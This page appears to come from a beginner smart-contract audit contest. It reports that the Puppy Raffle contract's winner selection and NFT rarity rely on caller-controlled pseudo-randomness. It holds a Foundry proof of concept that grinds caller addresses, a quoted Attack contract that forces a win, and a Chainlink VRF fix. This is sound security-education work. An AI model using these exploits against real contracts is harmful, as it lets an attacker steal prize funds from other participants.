Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Caller-controlled RNG allows attacker to bias winner selection and grind NFT rarity at `PuppyRaffle::selectWinner`

Root + Impact

Description

  • Normal behavior: The raffle is expected to select a winner and assign an NFT rarity using a random and unbiased process once the raffle duration has elapsed. Any participant should have an equal chance of winning, and NFT rarity should be distributed according to the intended probability weights (common, rare, legendary).

  • Issue: The randomness used for both winner selection and NFT rarity generation is derived from attacker-influenced inputs, most notably msg.sender, combined with publicly observable block parameters (block.timestamp and block.difficulty). Since msg.sender is fully controlled by the caller of selectWinner(), an attacker can repeatedly vary the calling address (e.g., via multiple contracts or CREATE2) and invoke selectWinner() only when the computed outcome is favorable.

    This allows an attacker to deterministically bias the raffle outcome by selecting a caller address that results in a desired winnerIndex and/or NFT rarity. As demonstrated in the proof of concept, both the raffle winner and the NFT rarity can be manipulated by grinding over possible caller addresses, breaking the fairness and unpredictability guarantees of the protocol.

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
@> uint256 winnerIndex =
@> uint256(keccak256(
@> abi.encodePacked(msg.sender, block.timestamp, block.difficulty)
@> )) % players.length;
address winner = players[winnerIndex];
...
@> uint256 rarity =
@> uint256(keccak256(
@> abi.encodePacked(msg.sender, block.difficulty)
@> )) % 100;
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
}

Risk

Likelihood:

  • Once the raffle duration elapses, any user can call selectWinner(), and the outcome is directly influenced by the caller-controlled input msg.sender, making the attack reachable through normal interaction with the protocol.

  • An attacker can cheaply generate many distinct caller addresses (e.g., by deploying multiple contracts or using CREATE2) and repeatedly attempt or delay calling selectWinner() until a favorable winner index and/or rarity outcome is produced.

Impact:

  • The attacker can bias or effectively force winner selection by choosing a caller address that maps the computed winnerIndex to an attacker-controlled entry in players, breaking the fairness of the raffle and enabling direct value extraction from the prize pool.

  • The attacker can grind NFT rarity outcomes (e.g., increase the probability of minting LEGENDARY_RARITY) by selecting favorable caller addresses, undermining the intended rarity distribution and potentially extracting additional value from the NFT mint.

Proof of Concept

The PoC demonstrates that, for fixed block parameters, varying only the caller address (msg.sender) changes both winnerIndex and the computed rarity. By grinding over possible caller addresses, an attacker can select a caller that deterministically results in an attacker-controlled winner and a legendary rarity mint in the same transaction, breaking raffle fairness and rarity guarantees.

function _winnerIndexFor(address caller, uint256 ts, uint256 diff, uint256 len) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(caller, ts, diff))) % len;
}
function _rarityFor(address caller, uint256 diff) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(caller, diff))) % 100;
}
function test_callerGrinding_controlsWinnerAndRarity() public {
// 1) Setup players (ensure attacker is one of them)
address attackerPlayer = address(0xBaD);
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = attackerPlayer;
vm.deal(playerOne, entranceFee * players.length);
vm.prank(playerOne);
puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
// 2) Fix block params for deterministic PoC
uint256 ts = puppyRaffle.raffleStartTime() + duration + 1;
vm.warp(ts);
vm.roll(123456);
// In Solidity 0.7.6 `block.difficulty` is used in the contract.
// In Foundry this value is available as `block.difficulty` at runtime.
uint256 diff = block.difficulty;
// 3) Find a caller that makes attackerPlayer the winner AND yields legendary rarity
bool found;
address chosenCaller;
// Winner must be attackerPlayer index in players array (here it's 3)
uint256 attackerIndex = 3;
for (uint256 i = 1; i < 50000; i++) {
address caller = address(uint160(i));
uint256 w = _winnerIndexFor(caller, ts, diff, players.length);
if (w != attackerIndex) continue;
uint256 r = _rarityFor(caller, diff);
// Legendary: else branch triggers when rarity > 95
if (r > (puppyRaffle.COMMON_RARITY() + puppyRaffle.RARE_RARITY())) {
found = true;
chosenCaller = caller;
break;
}
}
require(found, "No suitable caller found in search range");
// 4) Execute selectWinner from the chosen caller
uint256 tokenIdBefore = puppyRaffle.totalSupply();
vm.prank(chosenCaller);
puppyRaffle.selectWinner();
// 5) Assertions: winner is attackerPlayer and rarity is legendary for minted token
assertEq(puppyRaffle.previousWinner(), attackerPlayer);
uint256 mintedRarity = puppyRaffle.tokenIdToRarity(tokenIdBefore);
assertEq(mintedRarity, puppyRaffle.LEGENDARY_RARITY());
}

Recommended Mitigation

Replace the on-chain pseudo-randomness (msg.sender, block.timestamp, block.difficulty) with verifiable randomness from Chainlink VRF. This removes caller-controlled bias and ensures winner selection and rarity assignment cannot be manipulated by grinding over caller addresses or transaction ordering.

A robust approach is:

  1. When the raffle ends, request a VRF random value (requestRandomWords).

  2. Finalize the raffle only inside fulfillRandomWords, using the VRF-provided random word to derive:

    • winnerIndex

    • rarity

  3. Prevent multiple finalizations with a state machine (e.g., OPEN → CALCULATING → OPEN).

Note: Using VRF v2 typically requires upgrading to Solidity ^0.8.x and importing VRFConsumerBaseV2.

// SPDX-License-Identifier: MIT
-pragma solidity ^0.7.6;
+pragma solidity ^0.8.19;
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {Base64} from "lib/base64/base64.sol";
+
+import {VRFConsumerBaseV2} from "@chainlink/contracts/src/v0.8/vrf/VRFConsumerBaseV2.sol";
+import {VRFCoordinatorV2Interface} from "@chainlink/contracts/src/v0.8/vrf/interfaces/VRFCoordinatorV2Interface.sol";
-contract PuppyRaffle is ERC721, Ownable {
+contract PuppyRaffle is ERC721, Ownable, VRFConsumerBaseV2 {
using Address for address payable;
uint256 public immutable entranceFee;
...
address public feeAddress;
uint64 public totalFees = 0;
+ // ----------------------------
+ // Chainlink VRF config/state
+ // ----------------------------
+ VRFCoordinatorV2Interface public immutable vrfCoordinator;
+ bytes32 public immutable keyHash;
+ uint64 public immutable subscriptionId;
+ uint32 public immutable callbackGasLimit;
+
+ enum RaffleState { OPEN, CALCULATING }
+ RaffleState public raffleState;
+ uint256 public lastRequestId;
...
- constructor(uint256 _entranceFee, address _feeAddress, uint256 _raffleDuration) ERC721("Puppy Raffle", "PR") {
+ constructor(
+ uint256 _entranceFee,
+ address _feeAddress,
+ uint256 _raffleDuration,
+ address _vrfCoordinator,
+ bytes32 _keyHash,
+ uint64 _subscriptionId,
+ uint32 _callbackGasLimit
+ )
+ ERC721("Puppy Raffle", "PR")
+ VRFConsumerBaseV2(_vrfCoordinator)
+ {
entranceFee = _entranceFee;
feeAddress = _feeAddress;
raffleDuration = _raffleDuration;
raffleStartTime = block.timestamp;
+
+ vrfCoordinator = VRFCoordinatorV2Interface(_vrfCoordinator);
+ keyHash = _keyHash;
+ subscriptionId = _subscriptionId;
+ callbackGasLimit = _callbackGasLimit;
+ raffleState = RaffleState.OPEN;
}
...
- function selectWinner() external {
+ /// @notice Request verifiable randomness to pick a winner.
+ /// Anyone can trigger after the raffle ends.
+ function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
+ require(raffleState == RaffleState.OPEN, "PuppyRaffle: Raffle already finalizing");
+
+ raffleState = RaffleState.CALCULATING;
+
+ // Request 1 random word.
+ lastRequestId = vrfCoordinator.requestRandomWords(
+ keyHash,
+ subscriptionId,
+ 3, // requestConfirmations
+ callbackGasLimit,
+ 1 // numWords
+ );
}
+ /// @notice VRF callback — finalize raffle using unbiased randomness.
+ function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal override {
+ require(raffleState == RaffleState.CALCULATING, "PuppyRaffle: Not finalizing");
+ require(requestId == lastRequestId, "PuppyRaffle: Unknown request");
+
+ uint256 rand = randomWords[0];
+
+ uint256 winnerIndex = rand % players.length;
+ address winner = players[winnerIndex];
+
+ uint256 totalAmountCollected = players.length * entranceFee;
+ uint256 prizePool = (totalAmountCollected * 80) / 100;
+ uint256 fee = (totalAmountCollected * 20) / 100;
+ totalFees = totalFees + uint64(fee);
+
+ uint256 tokenId = totalSupply();
+
+ // Derive rarity from VRF randomness (avoid second RNG source)
+ uint256 rarityRoll = uint256(keccak256(abi.encodePacked(rand, tokenId))) % 100;
+ if (rarityRoll <= COMMON_RARITY) {
+ tokenIdToRarity[tokenId] = COMMON_RARITY;
+ } else if (rarityRoll <= COMMON_RARITY + RARE_RARITY) {
+ tokenIdToRarity[tokenId] = RARE_RARITY;
+ } else {
+ tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
+ }
+
+ // Reset raffle
+ delete players;
+ raffleStartTime = block.timestamp;
+ previousWinner = winner;
+ raffleState = RaffleState.OPEN;
+
+ (bool success,) = winner.call{value: prizePool}("");
+ require(success, "PuppyRaffle: Failed to send prize pool to winner");
+ _safeMint(winner, tokenId);
+ }

Contract must be funded via a Chainlink VRF subscription and configured with coordinator address, keyHash, subscriptionId, and callbackGasLimit for the target network.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 15 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!